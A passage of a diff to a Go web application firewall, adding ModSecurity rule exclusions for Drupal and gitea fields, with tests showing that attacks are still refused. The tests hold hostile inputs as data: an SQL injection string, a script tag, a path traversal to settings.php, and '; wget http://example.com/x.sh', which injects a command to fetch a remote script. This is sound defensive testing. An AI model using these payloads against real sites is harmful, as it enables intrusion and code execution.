"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/[a-z]+|[0-9]+/revisions/[0-9]+/(?:revert|delete))|comment/[0-9]+/[a-z]+|media/(?:add/[^/]+|[0-9]+/[a-z]+)|taxonomy/term/[0-9]+/[a-z]+|user/[^/]+(?:/[a-z]+)?|block/add/[^/]+|big_pipe/no-js)$" \
"id:900801,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:destination,\
ctl:ruleRemoveTargetById=932120;ARGS:destination,\
@@ -50,16 +66,20 @@ SecRule REQUEST_FILENAME \
ctl:ruleRemoveTargetById=932260;ARGS:destination"
# The text searched for on the search pages: /search/node?keys=python3.
SecRule REQUEST_FILENAME "@rx ^/search(?:/|$)" \
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/search(?:/|$)" \
"id:900802,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:keys,\
ctl:ruleRemoveTargetById=932120;ARGS:keys,\
ctl:ruleRemoveTargetById=932250;ARGS:keys,\
ctl:ruleRemoveTargetById=932260;ARGS:keys"
# What is typed into a field that autocompletes a tag or a user:
# /entity_reference_autocomplete/taxonomy_term/default/KEY?q=python3.
SecRule REQUEST_FILENAME "@beginsWith /entity_reference_autocomplete/" \
# What is typed into a field that autocompletes a tag, a user, a link in the
# rich text editor or a block's category:
# /entity_reference_autocomplete/taxonomy_term/default/KEY?q=python3
# /ckeditor5/basic_html/entity-link-suggestions?q=python3
# /block-category/autocomplete?q=python3
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:entity_reference_autocomplete/|ckeditor5/[^/]+/entity-link-suggestions$|block-category/autocomplete$)" \
"id:900803,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
@@ -69,19 +89,40 @@ SecRule REQUEST_FILENAME "@beginsWith /entity_reference_autocomplete/" \
# The values a JSON:API client filters by, in fields named after what they
# filter: /jsonapi/node/article?filter[title]=python3 and
# filter[f][condition][value]=python3.
SecRule REQUEST_FILENAME "@beginsWith /jsonapi/" \
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/jsonapi/" \
"id:900804,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^filter\[/"
# A name, in the query or a body: the account whose password is reset, and
# the media library's filter by name:
# /user/password?name=python3
# /media-library?media_library_opener_id=...&name=python3
# /views/ajax?view_name=media_library&name=python3
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/password|media-library|views/ajax)$" \
"id:900805,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:name,\
ctl:ruleRemoveTargetById=932120;ARGS:name,\
ctl:ruleRemoveTargetById=932250;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:name"
# The address of a remote video shown in a page:
# 930120: /media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2F.htaccess
# 932120: /media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fpowershell
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/media/oembed$" \
"id:900806,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The fields below are in bodies. Saving content sends its title, summary, tags,
# address, revision note, comment subject, media name and image text, which
# skip the same four rules there. A title such as "python3, ls -la and .htaccess"
# refused saving a node.
SecRule REQUEST_FILENAME \
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit)|media/(?:add/[^/]+|[0-9]+/edit))$" \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit)|media/(?:add/[^/]+|[0-9]+/edit))$" \
"id:900810,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:title|subject|name|body|revision_log|path|field_tags|field_)/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
@@ -95,7 +136,7 @@ SecRule REQUEST_FILENAME \
# 930120, 932120, 932125, 932140, 932160, 932230, 932235, 932250, 932260,
# 934100, 941160, 941390, 942170 and 942230.
SecRule REQUEST_FILENAME \
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit))$" \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit))$" \
"id:900811,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:comment_)?body\[/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
@@ -115,14 +156,16 @@ SecRule REQUEST_FILENAME \
# A JSON:API client saving a node or a comment sends the same HTML in the
# JSON field body.value or comment_body.value, which skips the rules above. A
# title, summary or subject beside it skips 930120, 932120, 932250 and 932260.
SecRule REQUEST_FILENAME "@beginsWith /jsonapi/" \
# title, summary, subject, name, revision note, block description or tag
# description beside it skips 930120, 932120, 932250 and 932260. A tag named
# python3 refused saving it.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/jsonapi/" \
"id:900812,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.data\.attributes\./ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
@@ -134,16 +177,72 @@ SecRule REQUEST_FILENAME "@beginsWith /jsonapi/" \
ctl:ruleRemoveTargetById=942170;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/"
# Signing in, in pass or the JSON field pass, where a password holds any
# characters:
# 930120: a password ending in /etc/hosts
# 932120: a password of powershell
# 932250: a password of ls -la
# 932260: a password starting with python3
SecRule REQUEST_FILENAME "@streq /user/login" \
# Signing in, in name and pass or the JSON fields of the same names. A
# password holds any characters:
# 930120: a password ending in /etc/hosts, or a name of .htaccess
# 932120: a password or a name of powershell
# 932250: a password or a name of ls -la
# 932260: a password or a name starting with python3
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
"id:900813,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/"
SecRule &ARGS_GET:/^(?:json\.)?(?:name|pass)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
# A person's name and email address, when signing up, when editing an
# account and when commenting without an account. A name of python3 refused
# signing up, and python3@example.com refused saving an account. An address
# keeps 932250, which no recorded address set off.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+/edit|comment/reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?)$" \
"id:900814,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:name|mail)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:name|mail)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:name|mail)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:name|mail)$/"
# Saving a tag, a custom block or a contact message sends its name,
# description, block description, body, subject or message, which skip the
# same four rules. A tag named python3 refused saving it.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:admin/structure/taxonomy/manage/[^/]+/add|taxonomy/term/[0-9]+/edit|block/add/[^/]+|admin/content/block/[0-9]+|contact(?:/[^/]+)?|user/[0-9]+/contact)$" \
"id:900815,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:name|description|info|body|subject|message)\[/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/"
# A client saving a node in Drupal's JSON format sends its title in the JSON
# field title.0.value: PATCH /node/2?_format=json with a title of python3.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/node/[0-9]+$" \
"id:900816,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.title\./ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.title.0.value,\
ctl:ruleRemoveTargetById=932120;ARGS:json.title.0.value,\
ctl:ruleRemoveTargetById=932250;ARGS:json.title.0.value,\
ctl:ruleRemoveTargetById=932260;ARGS:json.title.0.value"
# A client resetting a password in Drupal's JSON format sends the account in
# the JSON field name: POST /user/password?_format=json with a name of python3.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
"id:900817,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.name "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
# The same reset may name the account by its address in the JSON field mail:
# POST /user/password?_format=json with a mail of python3@example.com. An
# address skips only the two rules the recorded addresses set off.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
"id:900818,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
SecMarker END_DRUPAL
+250 -41
View File
@@ -3,7 +3,10 @@ package coreruleset_test
import (
"net/http"
"net/url"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -15,29 +18,53 @@ const drupalAddArticle = "/node/add/article"
// drupalSignIn is Drupal's sign-in page.
const drupalSignIn = "/user/login"
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
const drupalJSONSignIn = "/user/login?_format=json"
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
const drupalJSONPasswordReset = "/user/password?_format=json"
// drupalTagForm is Drupal's form for a new tag.
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
// drupalEditAccount is Drupal's form for editing an account.
const drupalEditAccount = "/user/2/edit"
// drupalName is the field for a person's name, as the start of a form body.
const drupalName = "name="
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
defaults, bodies := atDefaults(t), readingBodies(t)
wantRecordedRequestsPass(t, "drupal-requests.txt", atDefaults(t), readingBodies(t))
}
for _, recorded := range recordedRequests(t, "drupal-requests.txt") {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
t.Parallel()
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
t.Parallel()
r := request{recorded.Method, recorded.Target, recorded.Headers}
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"drupal"},
})
got, _ := inspectBody(t, defaults, r, recorded.Body)
if got.Score >= drupalThreshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
// A search, which only Drupal's fixes let through.
search := get("/search?keys=python3")
got, _ = inspectBody(t, bodies, r, recorded.Body)
if got.Score >= drupalThreshold {
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
r.method, r.target, recorded.Body, got)
}
})
}
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestHostnameListingDrupalLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
// The requests were recorded on example.com.
apps := map[string][]string{"example.com": {"drupal"}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
wantRecordedRequestsPass(t, "drupal-requests.txt", servingApps(t, apps), bodies)
}
// drupalAttacks are an SQL injection, a path traversal and a script
@@ -77,6 +104,18 @@ func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
"/user/password?name=",
"/media-library?name=",
"/views/ajax?name=",
"/ckeditor5/basic_html/entity-link-suggestions?q=",
"/block-category/autocomplete?q=",
"/media/oembed?url=",
"/big_pipe/no-js?destination=",
"/node/2/revisions/3/revert?destination=",
"/node/2/revisions/3/delete?destination=",
"/block/add/basic?destination=",
"/fr/admin/content?title=",
"/fr/search/node?keys=",
} {
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
@@ -99,7 +138,18 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
{reply, drupalName + attack},
{drupalSignIn, "pass=" + attack},
{drupalSignIn, drupalName + attack},
{"/fr/user/login", drupalName + attack},
{"/user/register", drupalName + attack},
{drupalEditAccount, "mail=" + attack},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack},
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack},
{"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack},
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
@@ -111,12 +161,16 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
}
for _, attack := range []string{
`1' OR '1'='1`,
`<script>alert(1)</script>`,
injection,
scriptTag,
} {
for _, field := range []string{
`"title":"` + attack + `"`,
`"body":{"value":"` + attack + `"}`,
`"name":"` + attack + `"`,
`"revision_log":"` + attack + `"`,
`"info":"` + attack + `"`,
`"description":{"value":"` + attack + `"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
@@ -129,6 +183,63 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
body := `{"title":[{"value":"` + attack + `"}]}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
}
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body = `{"name":"` + attack + `","pass":"example"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, attack := range []string{
injection,
scriptTag,
`; wget http://example.com/x.sh`,
`../../sites/default/settings.php`,
} {
for _, field := range []string{"name", "mail"} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
// An address keeps 932250, which refuses ls -la, and 930120, which
// refuses system file names.
for _, kept := range []struct {
value string
rule int
}{
{"ls -la", 932250},
{".htaccess@example.com", 930120},
} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"mail":"` + kept.value + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
}
}
}
@@ -155,28 +266,50 @@ func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
"/search/node?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/user/password?name=",
"/media-library?name=",
"/views/ajax?name=",
"/ckeditor5/basic_html/entity-link-suggestions?q=",
"/block-category/autocomplete?q=",
"/media/oembed?url=",
"/fr/admin/content?title=",
} {
got := inspect(t, crs, get(target+drupalCommandAttack))
if got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
}
crs = readingBodies(t)
func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
for _, field := range []string{
"title%5B0%5D%5Bvalue%5D=",
"body%5B0%5D%5Bsummary%5D=",
"revision_log%5B0%5D%5Bvalue%5D=",
"path%5B0%5D%5Balias%5D=",
"field_tags%5Btarget_id%5D=",
"field_image%5B0%5D%5Balt%5D=",
crs := readingBodies(t)
for _, sent := range []struct{ target, field string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D="},
{drupalAddArticle, "body%5B0%5D%5Bsummary%5D="},
{drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="},
{drupalAddArticle, "path%5B0%5D%5Balias%5D="},
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
{drupalSignIn, drupalName},
{"/user/register", drupalName},
{drupalEditAccount, "mail="},
{"/comment/reply/node/1/comment", drupalName},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
{"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="},
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D="},
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="},
{"/contact", "subject%5B0%5D%5Bvalue%5D="},
{"/contact/feedback", "message%5B0%5D%5Bvalue%5D="},
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D="},
} {
r := request{http.MethodPost, drupalAddArticle, []string{formData}}
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, field+drupalCommandAttack)
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, field, got)
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
}
}
@@ -184,6 +317,10 @@ func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
`"title":"; wget http://example.com/x.sh"`,
`"subject":"; wget http://example.com/x.sh"`,
`"body":{"summary":"; wget http://example.com/x.sh"}`,
`"name":"; wget http://example.com/x.sh"`,
`"revision_log":"; wget http://example.com/x.sh"`,
`"info":"; wget http://example.com/x.sh"`,
`"description":{"value":"; wget http://example.com/x.sh"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
@@ -196,13 +333,31 @@ func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
// drupalHardValues are the words that name commands and files, as a form
// value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var drupalHardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
}
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body = `{"name":"; wget http://example.com/x.sh","pass":"example"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
// An address keeps 932250, which refuses ls -la.
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
}
}
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Parallel()
@@ -211,7 +366,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
const subject = "subject%5B0%5D%5Bvalue%5D="
for _, value := range drupalHardValues {
for _, value := range hardValues {
for _, sent := range []struct{ target, field string }{
{"/comment/reply/node/1/comment", subject},
{"/comment/reply/node/1/comment/5", subject},
@@ -230,22 +385,37 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
}
}
for _, value := range drupalHardValues {
for _, value := range hardValues {
word, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
r := request{
http.MethodPost, "/user/login?_format=json",
[]string{"Content-Type: application/json"},
}
r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body := `{"name":"example","pass":"` + word + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
body = `{"name":"` + word + `"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
body := `{"mail":"` + address + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
@@ -260,6 +430,9 @@ func TestDrupalExclusionsAreNarrow(t *testing.T) {
"/entity_reference_autocomplete/user/default/KEY?q=python3",
"/jsonapi/node/article?filter%5Btitle%5D=python3",
"/node/1/edit?destination=python3",
"/fr/admin/content?title=python3",
"/pt-br/search/node?keys=python3",
"/user/password?name=python3",
} {
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
t.Errorf("%s refused: %+v", passes, got)
@@ -274,6 +447,12 @@ func TestDrupalExclusionsAreNarrow(t *testing.T) {
"/?q=python3",
"/?filter%5Btitle%5D=python3",
"/python3-notes?destination=python3",
"/notes/admin/content?title=python3",
"/fr/node/1?keys=python3",
"/?name=python3",
"/user/login?name=python3",
"/media/oembed?url=python3",
"/media/oembed?url=ls%20-la",
} {
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", refused, got)
@@ -292,6 +471,9 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
{drupalSignIn, "pass=python3"},
{drupalSignIn, "name=python3"},
{drupalEditAccount, "mail=python3"},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
} {
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
@@ -300,4 +482,31 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
// The JSON field name keeps the rules beside json.name in the query, and
// on a path other than the password reset.
for _, target := range []string{
drupalJSONPasswordReset + "&json.name=python3",
"/user/register?_format=json",
} {
r := request{http.MethodPost, target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
// So does the JSON field mail.
for _, target := range []string{
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
"/user/register?_format=json",
} {
r := request{http.MethodPost, target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
+89 -37
View File
@@ -1,8 +1,53 @@
# The eighth change: on gitea's paths, some fields skip the rules that refused
# ordinary gitea requests there. They are the fields where gitea sends a search,
# a file name or a branch name. Each exclusion runs with the request, before the
# rules it switches off, those of phase 1 included, so this file is loaded before
# the Core Rule Set's rules. Each comment names a request the rule refused.
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
# They are the fields where gitea sends a search, a file name or a branch name.
# Each exclusion runs with the request, before the rules it switches off, those
# of phase 1 included, so this file is loaded before the Core Rule Set's rules.
# Each comment names a request the rule refused.
# Unless SWW_APPS lists gitea for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_gitea when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_gitea itself.
SecRule &TX:app_gitea "@eq 0" \
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
# The query parameters in which gitea sends names within a repository or its
# own records, or a page of its own site, are not checked against the lists of
# system files, shell paths and command names, on any path:
# 930120: .gitignore
# 932160: bin/docker-entrypoint
# 932260: docker-build
SecAction "id:900591,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:path,\
ctl:ruleRemoveTargetById=930120;ARGS:files,\
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932160;ARGS:path,\
ctl:ruleRemoveTargetById=932160;ARGS:files,\
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932260;ARGS:path,\
